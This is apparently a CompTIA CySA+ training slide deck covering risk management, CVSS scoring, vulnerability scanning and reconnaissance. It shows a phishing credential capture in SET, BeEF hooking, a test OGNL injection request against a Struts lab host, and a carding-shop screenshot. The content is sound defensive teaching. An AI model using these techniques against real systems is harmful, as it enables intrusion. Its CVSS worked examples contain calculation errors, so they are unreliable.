



# CompTIA CSA+

## CompTIA Cybersecurity Analyst (CySA+)

Day 1





# Joseph Muniz


Security Architect – Americas Sales Organization

Security Researcher – [www.thesecurityblogger.com](http://www.thesecurityblogger.com)

Speaker: Cisco Live / DEFCON / RSA / (ISC)2

Avid Futbal Player and Musician

Twitter @SecureBlogger




The image shows a horizontal row of ten course cards from the livelessons website. Each card has a small thumbnail image, the title, author(s), and a brief description.

- Digital Forensics and Cyber Crime with Kali Linux Fundamentals** by Joseph Muniz and Aamir Lakhani. Description: "Analyze and reconstruct digital forensic artifacts from the network, disk, memory, and file system layers."
- Investigating the Cyber Breach** by Joseph Muniz and Aamir Lakhani. Description: "Analyze and reconstruct digital forensic artifacts from the network, disk, memory, and file system layers."
- Penetration Testing with Raspberry Pi** by Joseph Muniz and Aamir Lakhani. Description: "Analyze and reconstruct digital forensic artifacts from the network, disk, memory, and file system layers."
- Complete Video Course: CompTIA Cybersecurity Analyst CSA+ (CS0-001)** by Joseph Muniz and Aamir Lakhani. Description: "Analyze and reconstruct digital forensic artifacts from the network, disk, memory, and file system layers."
- Official Cert Guide: CCNA Cyber Ops SECOPS 210-255** by Joseph Muniz and Aamir Lakhani. Description: "Analyze and reconstruct digital forensic artifacts from the network, disk, memory, and file system layers."
- Official Cert Guide: CCNP Security Virtual Private Networks SVPN 300-730** by Joseph Muniz and Aamir Lakhani. Description: "Analyze and reconstruct digital forensic artifacts from the network, disk, memory, and file system layers."
- Security Operations Center: Building, Operating and Monitoring Your SOC** by Joseph Muniz, James Risner, and Steven Chimes. Description: "Analyze and reconstruct digital forensic artifacts from the network, disk, memory, and file system layers."
- Official Cert Guide: CCNA Cyber Ops SECND 210-250** by Joseph Muniz and Kevin Tiggles. Description: "Analyze and reconstruct digital forensic artifacts from the network, disk, memory, and file system layers."
- Complete Video Course: CCNP Security Identity Management SISE 300-715** by Joseph Muniz and Kevin Tiggles. Description: "Analyze and reconstruct digital forensic artifacts from the network, disk, memory, and file system layers."
- Web Penetration Testing with Kali Linux** by Joseph Muniz and Kevin Tiggles. Description: "Analyze and reconstruct digital forensic artifacts from the network, disk, memory, and file system layers."

# My Work To Make This

- Took the test a few times
- Read this guy's book
- Created this course
- Consolidated slides from various decks
- Created new content



# Day 1

- Lab and Training
- Reconnaissance Techniques
- Point in Time Analyst
- Logs
- SIEM
- Firewall Logs
- Security Architectures
- Vulnerability Management
- Vulnerability Discovery
- Web Applications
- Concept Review

# Day 2

- Risk Management
- Compliance
- Policy + Controls
- Incident Response
- Digital Forensics
- Passwords
- Access Control
- Processes
- Secure Development
- Concept Review
- Closing



# Exam Format

- Either multiple choice or scenario based
- Many multiple choice use “Best” or “First” meaning more than one right answer
- 75 questions – 3 hours
- Can go back and forth between questions
- Lots of log reading
- Some questions are not good



# Lab and Training



# Kali Linux

Open Source Penetration Testing Arsenal  
Many Great Forensics Tools

**Download**

[www.kali.org](http://www.kali.org)

Make sure to update  
*Apt-get update*  
*Apt-get upgrade*



# Metasploit

Penetration testing tool used for executing exploit code against a remote target machine.

Hundreds of exploits available

Search vulnerability and use MSF to deliver a packaged attack against the weakness.

Gain shell access, disrupt target, etc.

# Metasploitable

<https://sourceforge.net/projects/metasploitable/>

```
root@kali:~# telnet 192.168.1.106
Trying 192.168.1.106...
Connected to 192.168.1.106.
Escape character is '^]'.

[REDACTED]
www.hacking-lab.co.in

Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started

msfadmin login: msfadmin
Password:
Last login: Thu Aug 25 03:07:52 EDT 2016 from 192.168.1.113 on pts/1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 1686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo root" for details.

msfadmin@metasploitable:~$
```

**DVWA**

Welcome to Damn Vulnerable Web App!

Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be used for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.

**WARNING!**

Damn Vulnerable Web App is damn vulnerable! Do not upload it to your hosting provider's public html folder or any Internet facing web server as it will be compromised. We recommend downloading and installing [XAMPP](#) onto a local machine inside your LAN which is used solely for testing.

**Disclaimer**

We do not take responsibility for the way in which any one uses this application. We have made the purposes of the application clear and it should not be used maliciously. We have given warnings and taken measures to prevent malicious use of DVWA. If you are using DVWA for malicious purposes, it is your own account and installation of DVWA. It is not our responsibility it is the responsibility of the persons who uploaded and installed it.

**General Instructions**

The help button allows you to view hints/tips for each vulnerability and for each security level on their respective page.

You have logged in as "admin"

Username: admin  
Security Level: high  
PHPIDS: disabled

Damn Vulnerable Web Application (DVWA) v1.0.7

<http://www.dvwa.co.uk/>



# Struts Vulnerability Found

The screenshot shows the Armitage interface. On the left, the 'exploit' module under the 'multi/http' section is expanded, displaying various exploit modules such as struts2\_content\_type\_ognl, struts\_code\_exec, struts\_code\_exec\_classloader, struts\_code\_exec\_exception\_delegator, struts\_code\_exec\_parameters, struts\_default\_action\_mapper, struts\_dev\_mode, struts\_dmi\_exec, struts\_dmi\_rest\_exec, and struts\_include\_params. A search bar at the bottom contains the text 'struts'. On the right, a table lists vulnerabilities categorized by severity and instances:

Severity	Instances
Critical	2
Severe	2
Severe	1
Severe	1
Severe	1
Severe	2
Severe	1
Moderate	1


Below the table, a summary of vulnerabilities is provided:

Vulnerabilities in Apache Struts 2 Affecting Cisco Products

cisco-sa-20170907-struts2	CVE-2017-9793	<a href="#">Download CVRF</a>
2017 September 7 21:00 GMT	CVE-2017-9804	<a href="#">Download PDF</a>
2017 September 12 19:53 GMT	CVE-2017-9805	<a href="#">Email</a>
Interim	CWE-20	
No workarounds available	CWE-399	

# Simple Lab

Vmware Fusion



4 Gig Mobile Storage




200 Gig Mobile Storage




Internet



# Other Training Material



**Video Training**



**Books**




**Google + YouTube Concepts**



# Risk Management



# Cybersecurity Goals




**Confidentiality** = Protect sensitive data

**Integrity** = Ensure no unauthorized modifications

**Availability** = Authorized people can access it

# Risk Assessment- NIST SP 800-39



Other formal programs include

- ISO/IEC 27005:2010
- ISO/IEC 31000:2009
- OWASP Risk Rating Methodology
- DoD Risk Management Framework (RMF).

**Know the step order!**

# Threats

**Adversarial** – Individual, groups or organizations (Hackers, Anonymous, etc.)

**Accidental** – Mistake that undermines security (configuration error)

**Structural** – Equipment, software or the environment fail (system crashes)

**Environmental** – Natural or man-made disaster (Godzilla / Hurricane)

# Anonymous



# Persistent Level

- **Smash n Grab** – Automated attacks against anything vulnerable.
  - Not targeted
  - Example Exploit Kits or SPAM
- **Advanced Persistent Threat** – Continues and focused attacks against a specific target
  - Typically Highly orchestrated and long term attacks
  - Usually executed in stealth by elite criminals
  - Governments or Activism is common

# Known and Unknown Threats

- **Known** – Attack has been seen and characterized.
  - Develop signatures for detection
  - Behavior triggers
  - Domains blocked
    - Antivirus / IPS leverage this
- **Unknown** – Attack not known and characterized
  - Signatures do not exist
  - Behavior and anomaly detection focused
    - Breach detection / Sandboxing / Honeypots

# Threat Classification - NIST


- External / Removable Media – EX) Infected external USB
- Attrition – Using brute-force to breach, degrade or destroy the target
- Web – Web based or web application attack. EX cross-site
- Email – Attacks from email (attached malware, exploits, etc)
- Impersonation – Ex) Spoofing, man-in-the-middle, etc.
- Improper Usage – Violating an organization's acceptable use policy
- Loss of Theft of equipment – Ex) Taking a laptop, etc.
- Unknown – Attack of unknown origin
- Other – Another type of attack

# Time Determines Detection

- **Known** – Been around enough to be characterized
- **Unknown** – Repackaged or newer threat
- **Zero Day** – Vulnerability or attack that has not been disclosed or known
  - Zero Day attacks are a method of exploitation that bypasses traditional security detection

# Packing Malware 101

Bypass signature based detection



Frequently Changed

Changed Less  
frequently

# Maintaining Malware Is a Fulltime Job




**Coder Team**  
3 group members  
6AM-8PM GMT  
Mo-Fr\* (Su)




**Packer Team**  
9 group members  
~10AM - 10:30PM GMT  
Mo-Sa\* (Su)

**Developing and maintaining malware and a malicious infrastructure is a full time job !**

# The Evolution of Ransomware Variants



# Why Ransomware is Now Effective




*bitcoin*



# Exploit Kits Delivering Ransomware



User Clicks a Link or  
Malvertising



Malicious Code  
Launches



Malicious  
Infrastructure



Ransomware  
Payload

# They Want Your Data

Zips & Bins	Bank & State & City	Base	Additional
91111, HJ4111  380282, 376282	Bank: All State: All City: All	Solidus-2	<input type="checkbox"/> Expiring 12/14 <input type="checkbox"/> Phone <input type="checkbox"/> VBV  Exp. date (1312)


Didn't find the bin you were looking for? Need more dumps of particular bin? Try our partner's shop - [Bulk Orders - Low Prices!](#)

[Clear](#)

[Search](#)

	Bin	Card	Debit/Credit	Mark	Expires	Country	State	City	Zip	Phone	VBV	Base	Price	Cart
<input type="checkbox"/>	546616	MASTERCARD CITIBANK N.A. Dump or cc of this particular bank (BIN) cannot be replaced or refunded.	CREDIT	WORLD CARD	04/2018	United States	TX	Coppell	75019	Yes		Solidus-2	9\$	<a href="#">+</a>
<input type="checkbox"/>	374716	AMEX AMERICAN EXPRESS	CREDIT		02/2017	Denmark	LA	New Orleans	70119	Yes		Solidus-2	12\$	<a href="#">+</a>
<input type="checkbox"/>	601120	DISCOVER Dump or cc of this particular bank (BIN) cannot be replaced	CREDIT	CONSUMER CARD	08/2019	United States	VA	Arlington	22202	Yes		Solidus-2	7.5\$	<a href="#">+</a>

# Vectors of an Attack



# Physical Attacks

## Keyboard Drivers



## System Backdoor



## Network Backdoor



# Digital Attacks

NMAP shows Open Ports!

Nexpose shows vulnerabilities

Metasploit delivers attack





192.168.1.1:3000/ui/panel

Activate

Disable

Show

## NOTIFICATIONS

On  
Off

On  
Off

1h  
**endorsed you** for a skill: Cisco Technologies

1h  
**endorsed you** for a skill: CCNA

### Get Registry Keys

- Detect CUPS
- Get Clipboard
- Make Telephone Call

- ▷ IPEC (6)
- ▷ Metasploit (0)
- ▷ Misc (4)
- ▷ Network (7)

# Browser Injection Framework (BeEF)


- Hook victim browsers as beachheads for attacks
- Social engineer to click customized link
- Available attacks depend on current browser vulnerabilities
- Can track hooked systems





Happy Holidays!





192.168.1.1:3000/ui/panel


ActivateCryptoSelector




Disable



Cookies




CSS




Forms



Images



Information



\* Should LastPass remember this password?

**Hooked Browsers**

## - Online Browsers

- 192.168.1.1

192.168.1.113

## - Offline Browsers

- 192.168.1.1

192.168.1.113

192.168.1.113

192.168.1.113

**Getting Started**

Details

Logs

Commands

**Module Tree**

- ▷ Browser (24)
- ▷ Chrome Extensions (4)
- ▷ Debug (3)
- ▷ Exploits (7)
- ▷ Host (12)

- Detect Google Desktop
- Detect Software
- Get Physical Location
- Get Protocol Handlers
- Get System Info
- Get Wireless Keys

- Hook Default Browser

- Get Geolocation

- Get Registry Keys

- Detect CUPS

- Get Clipboard

- Make Telephone Call

- ▷ IPEC (6)

- ▷ Metasploit (0)

- ▷ Misc (4)

- ▷ Network (7)



# Social Engineering Tool Kit (SET)

- Easily clone a website
- Create various phishing attacks
- Create payload and listener
- Mailer attacks
- Powershell attacks
- And many many more ....



Join us on irc.freenode.net in channel #setoolkit

The Social-Engineer Toolkit is a product of TrustedSec.

Visit: <https://www.trustedsec.com>

Select from the menu:

- 1) Spear-Phishing Attack Vectors
- 2) Website Attack Vectors
- 3) Infectious Media Generat [\*] WE GOT A HIT! Printing the output:  
4) Create a Payload and Lis PARAM: UserName=Ladi
- 5) Mass Mailer Attack POSSIBLE PASSWORD FIELD FOUND: UserPassword=IloveToDance
- 6) Arduino-Based Attack Vec PARAM: target=%2f
- 7) SMS Spoofing Attack Vect PARAM: Log+On.x=59
- 8) Wireless Access Point At PARAM: Log+On.y=10
- 9) QRCode Generator Attack [\*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.
- 10) Powershell Attack Vector
- 11) Third Party Modules

# Types of Data

- **Personal Health Information (PHI)** – Protected health information
  - medical history, lab results, insurance information,
  - Identify people and determine appropriate care
- **Personal Identifiable Information (PII)** – Sensitive personal information
  - Used to identify, contact or locate a single person
- **Payment Card Information** – Data Security Standard (PCI DSS) security standard required by companies using branded credit cards.
  - Credit card numbers, account information, transaction details

# Types of Data

- **Intellectual Property** – Work or invention that one has rights and may protection through patent, copyright, trademark, etc.
- **Corporate Confidential** – Data that is potentially sensitive and could cause negative impact to the corporate if made public
  - **Account Data** – Who they sell to and value
  - **Mergers and acquisitions** – Purchasing or joining other companies

# Incident Severity and Prioritization

Measured with **Risk** and **Impact Cost** to a business level

\*\*\* Defense is all about Risk Reduction \*\*\*

- Important to base prioritization of your reaction on the scope the impact of to your business

**Example:** Earthquake insurance in Florida vs California

# Scoping Impact


- **Potential Downtime** – The time systems are unavailable causing negative impact (money lost, upset customers, etc.)
- **System Process Criticality** – Rating a process's important to causing unwanted actions such as downtime. Critical processes require the most protection (example voice systems)
- **Recovery Time** – Time to recover and resume operation. Investments may need to improve this

# Scoping Impact

- **Data integrity** – Maintaining assurance of accuracy and consistency of data over its entire life-cycle. This includes systems which store, process and retrieve such data.
  - High availability may be required for data integrity insurance
- **Economic** – Effects of an event on the economy to a specific area such as an organization.
- **Type of data** – Is it corporate confidential or legally protected?

# Risk 101

Result of a threat to a vulnerability  
(Risk = Threat x Vulnerability)



# Rating a Incident

0	Exercise	Authorized Testing
1	Unauthorized Access	Access to internal network
2	Denial of Service	Impairs operations of system
3	Malicious Code	Virus, Malware, etc.
4	Scan/Probes	Looking for systems and ports
5	Investigation	Unconfirmed incidents

# Security Incident

High


Incidents have server impact

Medium

Incident has significant impact

Low

Incident has minimal impact



# Risk-Assessment

Vulnerability Type: Apache vulnerability


Threat Description: Three vulnerabilities in the Apache Struts 2 package

Existing Controls: Firewalled and monitored by IPS

Probability: Unlikely (not web facing)

Impact: Critical

## Multiple Vulnerabilities in Apache Struts 2 Affecting Cisco Pr 2017



<b>Advisory ID:</b>	cisco-sa-20170907-struts2	CVE-2017-9793	Download CVRF
<b>First Published:</b>	2017 September 7 21:00 GMT	CVE-2017-9804	Download PDF
<b>Last Updated:</b>	2017 September 12 19:53 GMT	CVE-2017-9805	Email
<b>Version 1.3:</b>	Interim	CWE-20	
<b>Workarounds:</b>	No workarounds available	CWE-399	

# Risk Actions

- **Risk Reduction** – Implement Countermeasure
- **Risk Transfer** – Purchase Insurance
- **Risk Acceptance** – Accept a Possible Loss
- **Risk Rejection** – Pretend There Isn't a Risk
- *Risk Exploitation* – *Abuse the risk on purpose*

# How to prioritize risk

Threat Agent Factors				Vulnerability Factors			
Skill Level	Motive	Opportunity	Size	Ease of Discovery	Ease of Exploit	Awareness	Intrusion Detection
1	7	5	2	6	3	2	9
Likelihood of Threat = 4.375 MEDIUM							

Technical Impact				Business Impact			
Loss of Confidentiality	Loss of Integrity	Loss of Availability	Loss of Accountability	Financial Damage	Reputation Damage	Non-Compliance	Privacy Violation
8	9	7	5	2	2	1	5
Technical Impact = 7.25 EXTREME				Business Impact = 2.25 LOW			

# Validation

- **Scanning** – Looking for existing vulnerabilities
- **Patching** – Fixing vulnerabilities on systems, applications, etc.
- **Permissions** – Ensuring **least privilege concept** is enforced on systems and network
  - Multifactor authentication also important!
- **Verify logging / communication to security monitoring** – Are events being captured properly?



# Vulnerability Management



# Vulnerabilities

- Weakness in system
- Configuration error, missing patch, flaw in design, etc.
- Signature security defend attacks (exploiting) against vulnerabilities. *Examples IPS, Anti-Virus*

# Common Vulnerabilities and Exposures (CVE)

Vulnerability Type: Apache vulnerability

Threat Description: Three vulnerabilities in the Apache Struts 2 package

Existing Controls: Firewalled and monitored by IPS

Probability: Unlikely (not web facing)

Impact: Critical

<http://cve.mitre.org/about/faqs.html>

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# Common Vulnerability Scoring System

Consistent standard for computing vulnerability severity  
Examples are version 2 and most used but version 3 is the latest

Access Vector	Local (L) = 0.395	Adjacent Network (AN) = 0.646	Network (N) = 1.0
Access Complexity	High (H) = .035	Medium (M) = 0.61	Low (L) = 0.71
Authentication	Multiple (M) = 0.45	Single (S) = 0.560	None (N) = 0.704
Confidentiality	None (N) = 0.00	Partial (P) = 0.275	Complete (C) = 0.66
Integrity	None (N) = 0.0	Partial (P) = 0.275	Complete (C) = 0.660
Availability	None (N) = 0.0	Partial (P) = 0.275	Complete (C) = 0.660

# Reading CVSS Vector = 4.21

CVSS2#AV:AN/AC:M/Au:S/C:P/I:N/A:N

CVSS2 = CVSS Version 2

Access Vector = AN (1.0)

Access Complexity = M (.61)

Authentication = S (0.56)

Confidentiality = C (0.66)

Integrity = N (0.0)

Availability = P (0.275)

Exploitability =  $20 \times \text{AccessVector} \times \text{AccessComplexity} \times \text{Authentication}$

Exploitability =  $20 \times 1.0 \times .61 \times 0.56 = 6.832$

Impact =  $10.41 \times (1 - (\text{1-Confidentiality}) \times (1-\text{Integrity}) \times (1-\text{Availability}))$

Impact =  $10.41 \times (1 - (1 - 0.66) \times (1 - 0) \times (1 - 0.275)) = 10.41 \times 0.66 \times 1 \times 0.725 = 4.98$

Impact Function = 0 or 1.176

BaseScore =  $((0.6 \times \text{Impact}) + (0.4 \times \text{Exploitability}) - 1.5) \times \text{ImpactFunction}$

BaseScore =  $((0.6 \times 4.98) + (0.4 \times 6.832) - 1.5) \times 1.176 = 2.98 + 2.73 - 1.5 \times 1.176 = 4.95$

## Last Scan

Recent Results: Today at 9:34 AM

Configure

Audit Trail

Launch

Export

Hosts &gt; Vulnerabilities

History

**HIGH** CodeMeter < 5.20 Local Privilege Escalation Vulnerability**Description**

According to its self-reported version, the CodeMeter WebAdmin server installed on the remote host is prior to 5.20a (5.20.1458.500). It is affected by insecure read/write permissions for the 'codemeter.exe' service, which a local attacker can exploit to gain elevated privileges via a trojan horse file.

**Solution**

Upgrade to CodeMeter 5.20a (5.20.1458.500) or later.

**See Also**

<http://www.wibu.com/downloads-user-software.html>  
<http://seclists.org/bugtraq/2014/Nov/124>

**Output**

```
URL : http://192.168.1.101:22350/
Installed version : 5.10a (5.10.1224.500)
Fixed version : 5.20a (5.20.1458.500)
```

**Port** ▾**Hosts**

22350 / tcp / www

192.168.1.101

**Plugin Details**

Severity: High  
 ID: 81439  
 Version: \$Revision: 1.2 \$  
 Type: remote  
 Family: CGI abuses  
 Published: 2015/02/23  
 Modified: 2015/02/24

**Risk Information**

Risk Factor: High  
 CVSS Base Score: 7.2  
 CVSS Vector: CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C  
 CVSS Temporal Vector: CVSS2#E:ND/RL:OF/RC:ND  
 CVSS Temporal Score: 6.3

**Vulnerability Information**

CPE: cpe:/ac:wibu:codemeter\_runtime  
 Exploit Available: true  
 Exploit Ease: Exploits are available  
 Patch Pub Date: 2014/08/15

Be able to know

Access complexity AC  
 = Low = easy to  
 exploit

Availability A = C =  
 complete access to  
 the system IE total  
 access IE BAD!

# Example CVSS

## Risk Information

Risk Factor: Critical

CVSS Base Score: 10.0

CVSS Vector:

CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C

CVSS Temporal Vector: CVSS2#E:F/RL:OF/RC:C

CVSS Temporal Score: 8.3

$$\text{Exploitability} = 20 \times \text{AccessVector} \times \text{AccessComplexity} \times \text{Authentication}$$

$$\text{Exploitability} = 20 \times 1.0 \times .71 \times 0.704 = 9.996$$

$$\text{Impact} = 10.41 \times (1 - (\text{1-Confidentiality}) \times (1-\text{Integrity}) \times (1-\text{Availability}))$$

$$\text{Impact} = 10.41 \times (1 - (1 - .66) \times (1 - .66) \times (1 - .66)) = 10.41 \times .66 \times .34 \times .34 = .79$$

$$\text{Impact Function} = 0 \text{ or } 1.176$$

$$\text{BaseScore} = ((0.6 \times \text{Impact}) + (0.4 \times \text{Exploitability}) - 1.5) \times \text{ImpactFunction}$$

$$\text{BaseScore} = ((0.6 \times .79) + (0.4 \times 9.996) - 1.5) \times 1.176 = .474 + (3.998 - 1.5) \times 1.176 = 8.3$$

# Latest – CVSS Version 3.1 and NVD Calculators

<https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator>

## Base Score Metrics

### Exploitability Metrics

#### Attack Vector (AV)\*

Network (AV:N)    Adjacent Network (AV:A)    Local (AV:L)    Physical (AV:P)

#### Attack Complexity (AC)\*

Low (AC:L)    High (AC:H)

#### Privileges Required (PR)\*

None (PR:N)    Low (PR:L)    High (PR:H)

#### User Interaction (UI)\*

None (UI:N)    Required (UI:R)

#### Scope (S)\*

Unchanged (S:U)    Changed (S:C)

### Impact Metrics

#### Confidentiality Impact (C)\*

None (C:N)    Low (C:L)    High (C:H)

#### Integrity Impact (I)\*

None (I:N)    Low (I:L)    High (I:H)

#### Availability Impact (A)\*

None (A:N)    Low (A:L)    High (A:H)

# Latest – CVSS Version 3.1 and NVD Calculators

<https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator>

## Temporal Score Metrics

### Exploitability (E)

Not Defined (E:X) Unproven that exploit exists (E:U) Proof of concept code (E:P) Functional exploit exists (E:F) High (E:H)

### Remediation Level (RL)

Not Defined (RL:X) Official fix (RL:O) Temporary fix (RL:T) Workaround (RL:W) Unavailable (RL:U)

### Report Confidence (RC)

Not Defined (RC:X) Unknown (RC:U) Reasonable (RC:R) Confirmed (RC:C)

## Environmental Score Metrics

### Base Modifiers

#### Attack Vector (AV)

Not Defined (MAV:X) Network (MAV:N) Adjacent Network (MAV:A)  
Local (MAV:L) Physical (MAV:P)

#### Attack Complexity (AC)

Not Defined (MAC:X) Low (MAC:L) High (MAC:H)

#### Privileges Required (PR)

Not Defined (MPR:X) None (MPR:N) Low (MPR:L) High (MPR:H)

#### User Interaction (UI)

Not Defined (MUI:X) None (MUI:N) Required (MUI:R)

#### Scope (S)

Not Defined (MS:X) Unchanged (MS:U) Changed (MS:C)

### Impact Metrics

#### Confidentiality Impact (C)

Not Defined (MC:X) None (MC:N) Low (MC:L)  
High (MC:H)

#### Integrity Impact (I)

Not Defined (MI:X) None (MI:N) Low (MI:L)  
High (MI:H)

#### Availability Impact (A)

Not Defined (MA:X) None (MA:N) Low (MA:L)  
High (MA:H)

### Impact Subscore Modifiers

#### Confidentiality Requirement (CR)

Not Defined (CR:X) Low (CR:L)  
Medium (CR:M) High (CR:H)


#### Integrity Requirement (IR)

Not Defined (IR:X) Low (IR:L) Medium (IR:M)  
High (IR:H)

#### Availability Requirement (AR)

Not Defined (AR:X) Low (AR:L)  
Medium (AR:M) High (AR:H)

# Vulnerability Assessment Results



## Attack Challenges

- May not be real
- Hard to execute
- Not accessible
- Critical or not?
- Specific requirements

# False Positive and Negatives

**Positive = identified** and **negative = rejected**

- True positive = correctly identified
- False positive = incorrectly identified
- True negative = correctly rejected
- False negative = incorrectly rejected

**KEY POINT**


True positive: Sick people correctly identified as sick

False positive: Healthy people incorrectly identified as sick

True negative: Healthy people correctly identified as healthy

False negative: Sick people incorrectly identified as healthy

# SANS - Vulnerability Management




NAC and Profiling can help with Asset Inventory

## Triggers

- CVE Identifier may trigger event
- Assessment tools
- Audits

# Credential Scan

- **Host Scan**
- Less load on network (enumerated from local machine via commands like netstat)
- Considered “Safer Scan”
- **Only need Read-only access**
- Better data (more accurate)
  - Registry scan data and file attribute information
  - Behind personal firewall



# Non-Credential Scan

- Network scan
- Similar to attacker viewpoint (external view)
- Relies on ports to return correct information about services running
- Potential false positives

**Key Concept:** Potentially more important vulnerabilities as these are what attackers would find first.

# Deploying Vulnerability Scanners

KEY POINT

- **Centralized vs. Distributed**
  - Push scan controls and centralize data vs. local scanner installed on host
  - Agents are useful for continuous monitoring
- **What if you needed to secure this sensitive data?**
  - Deploy local option
  - If network option required, use encryption between server and endpoint

# Risks to Remediation

- Some Organizations cannot immediately remediate systems.
- Must determine if the vulnerable systems is exploited.
  - If so, what was stolen, and what are the legal reporting requirements.
- Remediation may damage an application or system
- Remediation may require major hardware, software, or policy changes.

# Viewing a Vulnerability Report

- Vulnerability Name
- Description / Details
- Impacted device(s)
- Severity
- CVSS number
- Validation



# Example Report - Nexpose

## VULNERABILITY INFORMATION

## OVERVIEW

Title	Severity	Vulnerability ID	CVSS	Published	Modified
Apache Struts DefaultActionMapper OGNL arbitrary command execution (CVE-2013-2251)	Critical (9)	apache-struts-cve-2013-2251	9.3 (AV:N/AC:M/Au:N/C:C/I:C/A:C)	Jul 20, 2013	May 27, 2016

## DESCRIPTION

A Apache Struts 2.0.0 through 2.3.15 allows remote attackers to execute arbitrary OGNL expressions via a parameter with a crafted `{1}` action, `{2}` redirect, or `{3}` redirectAction prefix.

## AFFECTS

Node	Name	Site	Port	Status	Proof	Last Scan
192.168.1.107	HackMDs.com		8080	Vulnerable	<ul style="list-style-type: none"><li>• Running HTTP service</li></ul>	Mar 4th, 2017

Prev

- Running HTTP service

Based on the following 2 results

HTTP GET request to [http://192.168.1.107:8080/struts2-blank/examplesHelloWorld.action](http://192.168.1.107:8080/struts2-blank/examples>HelloWorld.action)

HTTP response code was an expected 201

```
HTTP GET request to http://192.168.1.107:8080/struts2-blank/examples/HelloWorld.action?redirect=%25{new%20java.lang.String("Test_for_CVE-2013-2251")}
```

# Improve through Reverse Engineering

- Learn about the attack
- Develop your defense
- Deploy across the network

Example – Run in sandbox to learn how malware works



# Reverse Engineering Threats

- **Communication** – Blacklist malicious remote sources
- **Attack Techniques** – Specific exploit, port used, etc.
- **Reconnaissance** – Seeking other sources
- **CnC / Botnet Lists** – Threat intelligence hits
- **Hash of File or Parts** – Signature of threat
- **Network Traits** – Specific behavior (asymmetric encryption steps)

# Sandbox

- Environment to simulate host system
- Virtualized platform that runs various operating systems
- As malware explodes, it records behavior
- New sandboxes will run standard images from an organization
- Malware tries to detect and evade sandboxed environments



# Common Sandbox Environments

- Cuckoo Sandbox
- Fortinet Sandbox Appliance and Cloud Sandbox
- Cisco ThreatGrid
- FireEye
- Many others



The background of the slide features a grid of binary code (0s and 1s) in a light gray color. Superimposed on this grid, in a larger, bold, white font, is the word "MALWARE". The letters are slightly blurred, giving them a sense of motion or being processed.

# Patch Management Best Practices

- **Develop Inventory** – Systems, Applications, etc.
- **Standardize** – Easier to build policies
- **Existing Controls** – Document existing security
- **Reported Vulnerabilities** – Consolidate found vulnerabilities, assessment findings, etc.
- **Classify Risk** – Develop plan to roll out patching

# Testing Controls

- Evaluating safeguards or countermeasures for effectiveness and business relevance
- Can use internal or contracted resources
- Should be scheduled as well as spontaneous

Think Assessment of Policies

# Remediation Planning

- Based on **risk management program**
- Rank assets by criticality and owners so remediation can be assigned
- Establish timeline and threshold for remediation
- Backup before implementing

# Patching

- Piece of software designed to update a computer program or data to fix or improve it.
- **This includes fixing security vulnerabilities!**
- Sometime could introduce new problems so backup planning should be performed before installing

# What if Patching isn't available?

- Must enforce protection “around” the device
- Segment the network the device sits on
- Deploy network security tools (IPS/IDS, Network baseline tools), etc.

***Example: Server vulnerable to SQL attack but can't fix***

- Focus on network SQL defense - IPS

# Patch Approval

- Common for “maintenance window” for patching
- Review risk and enforce backup prior to deployment
- May require **Exception** if critical exposure

What if system is patched outside of window?

**Attempt to move back to window!**

# Exceptions

- Request to bypass policy
  - **Example** – Punch a hole in the firewall for an application
- Set a time limit for exception
  - **Example-** When can hole be closed?
- Critical vulnerability needing patching now
- **Establish policy to request exception**



# Reconnaissance Techniques



# Discovering a Topology - Foot printing

- Port Scanning
- Host Discovery
- Services Identification
- Service version
- Operating System Identification

What's on the network?



# Evaluating Media

- **Passive Scanning** – Research without actively engaging with the system (reading social media) – No active probes
- **Active Scanning** – Engaging with the target (typically port scanning)  
\*\*\* Important for understanding system and network exposure
- **Social Engineering** – Manipulate individuals into divulging confidential or personal info for fraudulent purposes

**Exam may make up terms like social scanning**

# OS Fingerprinting

## Active Fingerprinting

- Transmit packet to the devices, and analyze responses
- Actively sending packets
- Greater chance of detection

## Passive Fingerprinting

- Analyzing collected packets on the network
- Much slower than active fingerprinting
- Challenges in obtaining packets

Looking at how the system responds to queries!

# Application Fingerprinting

- View how the TCP stack responds to queries
- View what TCP options are supported
- View the initial window size being used
- Use IP ID sampling

# Recon Reality

- Can't prevent people researching you
- Gathering organization intelligence critical to perform or attempt to prevent social engineering
  - **Example** – Using your own data against you!
- Potentially see future attacks or potential security flaws
- Response may be manual or automated analysis

# NMAP (Network Mapper)

## ■ Extremely popular open source network scanning tool

Different types of scans techniques are available in Nmap.

- -TCP SYN
- -sS TCP SYN
- -sT Connect()
- -sA ACK
- -sW Window
- -sM: Maimon
- -sU: UDP Scan
- -sN TCP Null
- -sF FIN
- -sX: Xmas scans
- -sO: IP protocol scan

**Nmap features include:**

- Host discovery – Identifying hosts on a network.
- Port scanning – Enumerating the open ports on target hosts.
- Version detection – Interrogating network services on remote devices to determine application name and version number.
- OS detection – Determining the operating system and hardware characteristics of network devices.
- Scriptable interaction with the target – using Nmap Scripting Engine (NSE) and Lua programming language.

# NMAP Port Scan


```
root@kali:~# nmap -sT 192.168.89.191 -p25-150

Starting Nmap 6.40 ( http://nmap.org ) at 2014-09-05 16:19 EDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled.
Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.89.191
Host is up (0.0017s latency).
Not shown: 120 closed ports
PORT      STATE SERVICE
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
110/tcp   open  pop3
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
MAC Address: 00:0C:29:18:6B:DB (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.18 seconds
root@kali:~#
```

# Discovering Hardware Addresses

